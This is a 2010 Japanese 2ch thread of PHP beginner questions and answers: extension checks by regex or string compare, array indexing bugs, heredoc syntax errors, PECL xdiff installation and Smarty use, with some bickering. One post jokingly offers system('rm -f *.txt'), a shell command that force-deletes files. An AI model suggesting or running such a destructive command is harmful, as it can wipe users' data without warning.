0859nobodyさん2010/05/23(日) 22:15:50ID:???
>>850
みんな間違ったこと言ってないだろ。
要するに正規表現使っても、末尾で比較しても同じこと。
拡張子判定のロジックの例を言ってるだけだ。

例として末尾四文字の比較を上げてるだけで、終端最初のピリオドを調べて切り出し比較してもいいし、pathinfo使ってもいい。
正規表現使うより末尾で比較した方が処理としては速いからそっちを進めてるだけでしょうが。

お前の理屈なら>>816の正規表現でtext.jpegの拡張子で.txt判定出来るの?って言ってることと同じ。
0860nobodyさん2010/05/23(日) 22:16:08ID:???
>>854
動的にカウントするぐらいなら最初から正規表現でいいやん。
これって結局正規表現アレルギーがまた暴れてるんでしょ?
0861nobodyさん2010/05/23(日) 22:17:55ID:???
>>860
例えばどんな正規表現?
0862nobodyさん2010/05/23(日) 22:20:53ID:???
>>861
>>816のやつ。
わざわざ拡張子判定のためにそんな処理いれるなら、正規表現でおk。
0863nobodyさん2010/05/23(日) 22:26:49ID:???
>>862
なんで文字探索より正規表現のほうがいいの?
0864nobodyさん2010/05/23(日) 22:38:06ID:???
ただ正規表現使ってドヤ顔されてもな。
正規表現が万能とでも思ってるのか?
0865nobodyさん2010/05/23(日) 22:40:01ID:???
まとめ

.txtが文字列に入ったら消したい(>>813)→
.txt.phpを想定して.txtで終わるように正規表現で変えてみました(>>816)→
.txtで終了するの探すのに正規表現なんていらんよ(>>817 >>821)→
>>821-822間で勘違い発生→
以下考えてることがバラバラでgdgd

結論:>>824が喧嘩腰ではなく懇切丁寧にうまく勘違いを訂正できればよかったのだが
勘違いしてる相手には異次元にしか聞こえかった
0866nobodyさん2010/05/23(日) 22:43:00ID:???
>>865
813の書き方でも末尾が.txtのファイルしか引っかからないと思うが
0867nobodyさん2010/05/23(日) 22:44:49ID:???
ワイルドカードも知らん人いるのね
0868nobodyさん2010/05/23(日) 22:46:54ID:???
>>865
お前勘違い君だろ。
0869nobodyさん2010/05/23(日) 22:47:30ID:???
>>866
すまん
そのようだな

まぁ今回改めて分かったのは正規表現の文字が出るとなぜかこうなるなw
0870nobodyさん2010/05/23(日) 22:47:55ID:???
このスレでさっきから必死なのは勘違い君だけ。
0871nobodyさん2010/05/23(日) 22:49:15ID:???
816=勘違い君=865でしょ
0872nobodyさん2010/05/23(日) 22:50:16ID:???
見苦しいからいらんレスつけるな
お前らも同類
0873nobodyさん2010/05/23(日) 22:52:32ID:???
見苦しいのはお前だよw
0874nobodyさん2010/05/23(日) 22:52:37ID:???
お前もな
0875nobodyさん2010/05/23(日) 22:52:58ID:???
=で結ぶやつが一番ウザイわ
0876nobodyさん2010/05/23(日) 22:55:45ID:???
なんで正規表現使うと「わざわざ」とか「そこで正規表現はありえない」とかよく言われるの?
複雑だから?速度面で?
0877nobodyさん2010/05/23(日) 22:56:07ID:???
この慌てっぷりが全部図星だったことを物語ってるなw
0878nobodyさん2010/05/23(日) 23:05:50ID:???
今北
すごいやつがいたんだなwww
0879nobodyさん2010/05/23(日) 23:08:56ID:???
1万回でチェックだけやってみたけど 0.01095秒と 0.00551秒だったわ。 さして変わらんとするか、倍近く違うとするかは人しだい。
0880nobodyさん2010/05/23(日) 23:11:09ID:???
>>844=>>857=>>869=>>873=>>877=>>878

終わったのにいつまでもやってんじゃねえよ
wwwwwwwwwwwwwwwwwwwwwwww
0881nobodyさん2010/05/23(日) 23:17:24ID:???
>>879
ありがとう。
こっちも一応速度テストは>>816と>>851とおまけでglob使うのでしてみた。

>>816が0.0009x
>>851が0.0006x
globが0.001x

結果は、
>>851 > >>816 > glob

globって遅いんだね。

やっぱ速度差なのかな?1/10000秒単位だから、もっと他に理由があると思ったんだけど。
08828782010/05/23(日) 23:20:23ID:???
>>880
今北って言ってんのにこれだよwwww
混ぜてくれてありがとうな
0883nobodyさん2010/05/23(日) 23:21:09ID:???
>>881
つsystem('rm -f *.txt');
0884nobodyさん2010/05/23(日) 23:21:40ID:???
>>881
正規表現は書き方と対象文字列の長さによって大きく速度が変わるよ。
あと、>>851は
strrchr($v, '.') == '.txt'
こうすりゃもっと簡単で柔軟。
0885nobodyさん2010/05/23(日) 23:22:23ID:???
もめてる内容とは違うだろうから指摘しておくと、
ディレクトリ名がhoge.txtの場合を考えないとだめなんでないの
0886nobodyさん2010/05/23(日) 23:24:21ID:???
>正規表現は書き方と対象文字列の長さによって大きく速度が変わるよ。

いいこと聞いた。今度試してみよう。
08878852010/05/23(日) 23:30:01ID:???
ごめん。もとのコードがそれ考慮してないから必要なかった
0888nobodyさん2010/05/24(月) 00:06:24ID:DmnGs3M4
$tes = array();
for($i=4;$i<21;$i++){
$key = $i-4;
array_push($tes,$key=>$row[i]);
}
array_pushで$aに連想配列で値を追加していきたいですが、エラーに成ってしまいます。
正しい書き方はどんな感じでしょうか?ちなみに、$row,$keyはintです。
0889nobodyさん2010/05/24(月) 00:11:39ID:???
array()
0890nobodyさん2010/05/24(月) 00:12:00ID:???
こうしたいのかな?
array_push($tes, array( $key => $row[i] ) );
それともこっち?
$tes[$key] = $row[i] ;
0891nobodyさん2010/05/24(月) 00:25:59ID:???
>>890
print_rすると、
0=>11,1=>21,2=>5,・・・・
となって欲しいのですが、どうなのでしょうか?
0892nobodyさん2010/05/24(月) 00:51:39ID:???
$rowは何?
0893nobodyさん2010/05/24(月) 00:53:00ID:???
$row = array(11, 21, 5....)ってかんじ?
なら>>890のでできるはずだけど

$tes = array();
for($i=4;$i<21;$i++){
$key = $i-4;
$tes[$key] = $row[$i];
}
print_r($tes);
0894nobodyさん2010/05/24(月) 01:15:26ID:???
あー、すいません。
$rowはpearのDBからの取得です。

$tes = array();
$row = $res->fetchRow();
for($i=4;$i<21;$i++){
$key = $i-4;
$tes[$key] = $row[i];
}

みたいにやってみたんですが、$rowの値が$tes入ってないようです><
お手数おかけして申し訳ないです。
0895nobodyさん2010/05/24(月) 01:19:37ID:???
>>894
$tes[$key] = $row[i];
$tes[$key] = $row[$i];

どこが違うかよく見てみ
0896nobodyさん2010/05/24(月) 01:21:28ID:???
おう・・・・
スレ汚し申し訳けありませんでした。
解答ありがとうございました
0897nobodyさん2010/05/24(月) 01:59:46ID:???
遅レスだけど
keyが0から始まる正数なら別にkey指定しなくてもいいと思うけど

$tes = array();
for($i=4;$i<21;$i++){
$tes[] = $row[$i];
}
print_r($tes);

結果は同じになると思う
0898nobodyさん2010/05/24(月) 02:00:57ID:???
別にそんなことどっちでもええやん
0899nobodyさん2010/05/24(月) 02:04:06ID:???
まーたはじまるぞぉおお
0900nobodyさん2010/05/24(月) 02:07:12ID:???
それならこれでいいじゃんって話になっちゃう
$tes = array_slice($row, 4, 17);
0901nobodyさん2010/05/24(月) 02:19:52ID:???
コードが短けりゃ速度が速くなるわけじゃないよ
シンプルに書けるっていう意味ならそれでいいと思うけどね
0902nobodyさん2010/05/24(月) 02:22:12ID:???
とおもったけど全然はやかった
さーせんでした
0903nobodyさん2010/05/24(月) 07:57:43ID:???
[i]って回答しちゃった自分のミスです。すいません。
0904nobodyさん2010/05/24(月) 11:51:31ID:???
function printFooterを認識しないのですが
何が間違っているかさっぱりわかりません。
どなたかご教授頂けませんでしょうか、よろしくお願い致します


function printHeder(){
print<<<END
<html>
<head>
<meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
</head>
<body>
END;
}

function printFooter(){
print<<<END
</body>
</html>
END;
}
0905nobodyさん2010/05/24(月) 11:54:48ID:???
どう認識しないのか、エラーが出るならエラーメッセージとか。
もう少し分かるように説明して。
0906nobodyさん2010/05/24(月) 12:01:44ID:???
print<<<END

このラベルって、同一ソースファイル内でユニークでなくとも良かったっけ?
0907nobodyさん2010/05/24(月) 12:02:38ID:???
>>906
良い
0908nobodyさん2010/05/24(月) 12:08:23ID:???
END;の前にスペース入ってたりとか有りがちだよな。
0909nobodyさん2010/05/24(月) 12:08:36ID:???
>>905
最初のfunction printHederはfunctionの文字が緑色に替わるのですが
下のfunction printFooterは黒色のままなのです。(PHPエディターを使っています)

エラーメッセージは
Parse error: syntax error, unexpected $end in C:\www\0801.php on line 92

その行(一番最後の行)はこうなっています
90 END;
91 }
92 ?>
0910nobodyさん2010/05/24(月) 12:13:00ID:???
>>909
print<<<END じゃなくて print <<<END じゃないの?
0911nobodyさん2010/05/24(月) 12:18:28ID:???
ENDの前にインデントタブやスペースは全く無い?
0912nobodyさん2010/05/24(月) 12:24:28ID:???
>>911
今全てのENDの前後のスペース、インデント調べてやりなおしたところ正常に作動しました。
みなさまお力貸してくださりほんとうにありがとうございました。
昨日の夜から何時間も解決できずにモヤモヤしていたものが吹っ飛び今はスッキリ爽快です。
0913nobodyさん2010/05/24(月) 12:27:06ID:???
おめでとさん
0914EM114-48-200-43.pool.e-mobile.ne.jp2010/05/25(火) 10:51:33ID:???
長かった・・・2ヶ月も書き込みできないのは長かった・・・
この長い月日のおかげで俺の存在がこのスレで大きかった事がよくわかった
0915nobodyさん2010/05/25(火) 12:31:12ID:???
じゃ、ばんばん質問に答えていってやれよ
お前がいなくて誰も答えてないからな
0916nobodyさん2010/05/25(火) 12:37:19ID:???
C言語でよくあるようなwhile(1){
if (a==1){
functionA()
}
}
みたいな条件一致するまでループっていう方法ってPHPだとAjax使うしかなさそう?
0917nobodyさん2010/05/25(火) 12:41:36ID:???
>>1
0918nobodyさん2010/05/25(火) 12:41:51ID:???
>>916
>>1
0919nobodyさん2010/05/25(火) 12:45:59ID:???
>>916
Ajaxもしくはデータベースを使うしかないですね
0920nobodyさん2010/05/25(火) 12:49:02ID:???
なんで無限ループがPHPだとだめだと思ったのかが謎だな
タイムアウトのこといってるならAjaxでもPHPにリクエストする以上結果は同じでしょうに
0921nobodyさん2010/05/25(火) 12:55:47ID:???
PEAR::System_Daemon つーのがあるらしい
0922nobodyさん2010/05/25(火) 13:02:40ID:???
タイムアウト無限にしといて、たまにブラウザに出力だすとか。
0923nobodyさん2010/05/25(火) 15:34:04ID:LcAAmhVu
会員ID、ユーザ名(ユーザID)、ログインID、アカウント名

管理画面に入出する際のIDの名称ってどれにしてます?
0924nobodyさん2010/05/25(火) 15:53:03ID:???
メールアドレス
0925nobodyさん2010/05/25(火) 16:02:21ID:???
ログインIDが一般的
0926nobodyさん2010/05/25(火) 16:17:33ID:???
user
0927nobodyさん2010/05/25(火) 16:26:01ID:???
>>923
Usernameだな
0928nobodyさん2010/05/25(火) 16:35:14ID:???
それぞれ選んだ理由が聞きたい。
0929nobodyさん2010/05/25(火) 16:37:37ID:???
どれでもいいから悩むんだよな。
0930nobodyさん2010/05/25(火) 16:49:07ID:???
命名規則?
0931nobodyさん2010/05/25(火) 22:16:47ID:???
>>923
名称と言うか呼称というかフォームのラベルの表記みたいな事だろ
サイト管理者用の前提で考えれば
ログインするIDなんだからログインIDがベスト
0932nobodyさん2010/05/25(火) 22:22:02ID:???
ユーザを識別するための物だと思うけど
一般的にはユーザ名かアカウントだと思うな
0933nobodyさん2010/05/25(火) 22:51:23ID:LcAAmhVu
サイト管理者用 → ログインID
一般会員用 → ユーザ名

にします。ご意見ありがとうございました。
0934nobodyさん2010/05/25(火) 23:05:41ID:???
次からはPHPと関係ない質問はこっちで聞いてね
http://pc11.2ch.net/test/read.cgi/php/1272872528/
0935nobodyさん2010/05/26(水) 00:06:49ID:???
どっちだっていいだろ
0936nobodyさん2010/05/26(水) 00:18:15ID:???
>>935
よし、ここから毎年恒例ニュートン7月号のwktkを語るスレにしようか
0937nobodyさん2010/05/26(水) 00:58:30ID:???
a を 5個 つなげたような文字列を生成するような関数はありませんか?
こんな感じで。
$str = gen_str( "a", 5 ); // aaaaa
0938nobodyさん2010/05/26(水) 01:00:23ID:TMQUCua5
>>937
str_repeat
09399372010/05/26(水) 01:01:10ID:???
>>938
ありがとうございます!
0940nobodyさん2010/05/26(水) 01:02:52ID:???
>>937-939
ビール噴いた
0941nobodyさん2010/05/26(水) 02:30:34ID:???
>>916
普通に書いてコマンドラインで実行すれば
0942nobodyさん2010/05/26(水) 03:32:21ID:???
噴く要素があるとしたら立場とIDの関連ぐらいしかないような
0943nobodyさん2010/05/26(水) 03:37:28ID:???
>>942
まさにそれだろ?
俺もちと笑ったがな
0944nobodyさん2010/05/26(水) 04:10:51ID:???
いや。新着3件がこれだったから思わず・・

魚をやるより釣り方を教えてやる
>>937
PHPマニュアルには文字列処理を行う関数をまとめたページがちゃんとあって
http://php.net/manual/ja/ref.strings.php
文字列を処理するならまずここを見ておけ。
0945nobodyさん2010/05/26(水) 04:21:17ID:???
>>944
ネタにマジレスしてどうすんだ?
0946nobodyさん2010/05/26(水) 10:11:58ID:???
>>944
頑張って書いたつもりかもしれないけど面白くない
0947nobodyさん2010/05/26(水) 10:24:22ID:???
回答でも質問でもないのは我慢しろって。
俺もだけどな。
0948nobodyさん2010/05/26(水) 11:00:08ID:???
$a = array('a', 'b', 'c', 'd');
$b = array('1', '2', '3', '4');

上の配列で全組み合わせを出力するにはどうすればいい?
ただしa-aとか1-1とか同じ値の組み合わせは除外する。
0949nobodyさん2010/05/26(水) 11:05:17ID:???
ぽまえは俺様に名前欄に948って入れて自己解決しましたって書いてもらいたいのか
0950nobodyさん2010/05/26(水) 11:15:39ID:???
>>948
それはプログラムの基礎中の基礎だから
宿題だと思って自分で解決したほうがいい
0951nobodyさん2010/05/26(水) 11:20:39ID:???
まじ宿題乙りすぎだろ
0952nobodyさん2010/05/26(水) 11:23:18ID:???
>>948でa-aとか1-1は除外するって書いてある事は
a1,a2の他にab,acや12,13も必要って事か
0953nobodyさん2010/05/26(水) 11:37:01ID:???
基礎ならすぐ出来るんでしょ?スマートなコードで解決してください。
やっぱり以下のように変更。

$a = array('a', 'b', 'c', 'd');
$b = array('1', '2', '3', '4');
$c = array('A', 'B', 'C', 'D');

a-1-A
a-2-A
...
1-a-D
A-c-1

みたいな全組み合わせだ。
各配列一つずつ使って重複してはいけない。
0954nobodyさん2010/05/26(水) 11:39:14ID:???
二つの配列に分かれてるのが意味ないから、マージして重複消してループかな。
値の重複消してマージするのってあったっけ。
0955nobodyさん2010/05/26(水) 11:39:59ID:???
スルーしないやつも荒らし
http://pc11.2ch.net/test/read.cgi/php/1271172618/
0956nobodyさん2010/05/26(水) 11:40:03ID:???
げ、変更したのかよ・・・
ま、質問じゃないのでスルーかな。
0957nobodyさん2010/05/26(水) 11:43:18ID:???
荒しとは違うよ。興味があったらやってくれればいいです。
一つの解でも色々方法があると思うのでそれに興味があった。

>>956
二つの配列でもオッケイです。
0958nobodyさん2010/05/26(水) 11:59:05ID:???
自分が答えられる簡単な質問に対しては答えるとかやめろ
ルールは守れ
0959nobodyさん2010/05/26(水) 12:00:08ID:???
>>958
いいんじゃないのか?
0960nobodyさん2010/05/26(水) 12:05:35ID:???
それなら暇つぶしに何か問題出してよ。
ちなみにさっきの質問はしょぼい方法しか思いつかなかったわ。
0961nobodyさん2010/05/26(水) 12:06:51ID:???
また住人同士の喧嘩ですか?
09629482010/05/26(水) 12:21:00ID:???
ここの住人は使えませんね
自己解決しました
こんな簡単なのも答えられないなんてこのスレ意味あるの?
0963nobodyさん2010/05/26(水) 12:22:04ID:???
全組み合わせをループで 4^3 個つくって、
それぞれに対して全順列出す方法をとるかなぁ。
3個固定なら、6通りなので俺なら6パターン分直接作るかなぁ。
それ以上は、また別途だな
0964nobodyさん2010/05/26(水) 12:29:18ID:???
組み合わせ配列が動的に増えると大変そうだねー
0965nobodyさん2010/05/26(水) 21:17:13ID:???
>>953
宿題乙
0966nobodyさん2010/05/26(水) 22:57:43ID:qKCwPOmR
PECLのxdiff入れたいんだけどこんなエラーでるんだけど何が悪いの?
ちなみにubuntuでlampp/bin/peclでやってみてます。

checking for xdl_diff in -lxdiff... no
configure: error: wrong xdiff lib version or lib not found
ERROR: `/tmp/pear/temp/xdiff/configure --with-xdiff=/opt/lampp/lib' failed
0967nobodyさん2010/05/27(木) 23:31:01ID:pcO12PPc
>>966は自己解決しました
ここのサイトのやり方でできました。
libxdiffが必要とか初心者の俺にはわからんよ・・・
ちなみにlibxdiffのバージョンは0.23でやりました。
http://www.koshigoe.sakura.ne.jp/hiki/?%5BPHP%5D%A5%DE%A5%CB%A5%E5%A5%A2%A5%EB%A5%A6%A5%A9%A5%C3%A5%C1%A5%F3%A5%B0+vol.01#l10
0968nobodyさん2010/05/27(木) 23:41:23ID:???
>>967
これが理解できないのが理解できない
error: wrong xdiff lib version or lib not found
0969nobodyさん2010/05/28(金) 06:34:11ID:1AVHPGER
>>968
えー
だってどこもpecl install xxxxみたいな方法でのインストールって書いてあるから
わざわざlibxdiffが別途必要なんてわからんよ。
PECLのホームページにもlibxdiffが置いてあるわけじゃないし。
ほかのも全部別途lib必要なのか?
0970nobodyさん2010/05/28(金) 06:40:45ID:???
>わざわざlibxdiffが別途必要なんてわからんよ。
いや966にそう書いてあるじゃん
0971nobodyさん2010/05/28(金) 07:16:16ID:1AVHPGER
そうなんだけど、
初心者の俺には、何これ?と思うのよ。
パッケージ内に含まれてんじゃないのかよと。
そんなもの初めからパッケージに含んでおいてくれよと思うんだが。
0972nobodyさん2010/05/28(金) 07:24:24ID:???
じゃ調べろよ
0973nobodyさん2010/05/28(金) 08:02:56ID:???
いや、調べなくてもエラーメッセージ読むだけで良いじゃないか
0974nobodyさん2010/05/28(金) 09:35:42ID:???
みんなそんなムキになって言わんといても・・・指摘できなかったんだし。

言い訳になるけど、俺もまさかphpのマニュアルに書いてあることを
やってないはずないと思ったんだけどさ。
0975nobodyさん2010/05/28(金) 10:15:35ID:???
言い訳するな
0976nobodyさん2010/05/28(金) 10:16:27ID:???
スミマセン
0977nobodyさん2010/05/28(金) 15:20:03ID:???
>>971
いまさらネチネチいうなと思われるかもしれないが、そんなパッケージの肥大化は避けてほしい、
というか、じゃあ何の為にライブラリ化したんだってなっちゃう。
configureはすぐ慣れるからがんばれ
0978nobodyさん2010/05/28(金) 15:47:26ID:qWcy7992
classの中で外部ファイルの関数って読み込めるのでしょうか?
イメージとしては以下のような感じかな?と思っています。

class class1{
require 'function.php';
}

$obj = new class1;
$obj->test();

#function.php
function test(){
echo 1;
}
0979nobodyさん2010/05/28(金) 15:52:57ID:???
それじゃわざわざクラス使う意味がないわ

require 'function.php';
class class1 extends class2 {
}

#function.php
class class2 {
 function test() {
  echo 1;
 }
}

ならまだわかるけど
0980nobodyさん2010/05/28(金) 16:13:53ID:???
requireでFunction.phpって呼び出す必要あるのですか?
extends class2で継承してるから不要なのではないのですか?

function.phpを class2.php ならrequireは不要ということですか?

0981nobodyさん2010/05/28(金) 16:21:20ID:???
>>978
関数定義を遅延実行したいのかな
クラス定義はパース時に、include/require は実行時に評価されるから
コンストラクタかメソッドの頭で require_once() するといい
09829782010/05/28(金) 16:24:49ID:qWcy7992
>>979
普通そうだと思うのですが、オープンソースのシステムを見ると
ユーザ定義関数のみのファイルが結構あります。
しかし、接続自体はclassを介して行っているので
>>978みたいに、後から読み込むのかな?と思っていました
0983nobodyさん2010/05/28(金) 16:30:45ID:???
>>980
PHPだと必要なんだよ面倒なことにね
09849812010/05/28(金) 16:31:56ID:???
ごめん質問を理解してなかった、忘れてくれ
>>980が反応ないから次スレ立ててくる
0985nobodyさん2010/05/28(金) 16:35:54ID:???
クラスのコンストラクタで function.php読み込むと、
クラスの関数じゃなくて、グローバルの関数に。
でも変数はローカル。 $this->xx = も通る。
0986nobodyさん2010/05/28(金) 16:41:47ID:???
次スレです。仲良くつかってね!
http://pc11.2ch.net/test/read.cgi/php/1275032024/
0987nobodyさん2010/05/28(金) 17:39:34ID:???
乙
0988nobodyさん2010/05/28(金) 17:53:39ID:???

ちょっとお伺いしたいんだけど
みなさまはSMARTYなんていうスマートそうなテンプレートエンジンは
実際開発の現場では使っていらっしゃるの?

デザイナーがいる環境でデザイナーにHTMLとその中にスマートな変数書いてもらってたり
しちゃってる方がいるのか知りたいの。
0989nobodyさん2010/05/28(金) 18:05:32ID:???
せめてスレタイとか>>1くらいは読んでから質問したらどうなの?
0990nobodyさん2010/05/28(金) 18:15:32ID:???
デザイナにもらったHTMLをテンプレートにこっちで変換した。
ほんとにただのデザイナなら厳しいかもね。
ちょっとでもロジック的な考えをしてくれる人なら分かってもらえると思うけど。
あとはどちらがどこまでやるかの切り分けだけしっかりしておけばgdgdにならずにいけるよ
09919882010/05/28(金) 19:21:53ID:???
>>990
ありがとうねー。
やっぱHTMLもらってこっちで入れたほうがよいよーな気ぃするねー。
ただでもデザイナーさんでもJSとか少し書ける人だからやってもらうかと思ってたの。
それ以前意に周りでSMARTY自体使ってるって話あまり聞かないからそのも気になっちゃって。

もし他のかたも使ってるって方いらっしゃったら教えてくださいな。
0992nobodyさん2010/05/28(金) 19:34:40ID:???
自分のことは、はなっから作ってもらうのは少々難しいが、出来たものを直すだけなら、
デザイナだけで出来るんだよね。

0993nobodyさん2010/05/28(金) 20:32:41ID:???
>>989
うぜえ氏ね
0994nobodyさん2010/05/28(金) 20:40:10ID:???
>>1
0995nobodyさん2010/05/28(金) 20:47:15ID:???
指図厨うぜえ
0996nobodyさん2010/05/28(金) 20:49:04ID:???
>>1
0997nobodyさん2010/05/28(金) 21:13:11ID:???
1ヶ月前にでかいもの作ってから制作意欲がわかない
数ヶ月に1回なんか作って満足したらしばらくこんな調子なんだけど
みんなもそうかい?
0998nobodyさん2010/05/28(金) 22:16:48ID:???
そんな調子じゃ
セキュリティは滅茶苦茶だと思いますけど
0999nobodyさん2010/05/28(金) 22:20:41ID:???
セキュリティ関係ないし
1000nobodyさん2010/05/28(金) 22:21:00ID:???
>>1000ならIE8以下のセキュリティアップデート終了
10011001Over 1000Thread
このスレッドは1000を超えました。
もう書けないので、新しいスレッドを立ててくださいです。。。
レス数が1000を超えています。これ以上書き込みはできません。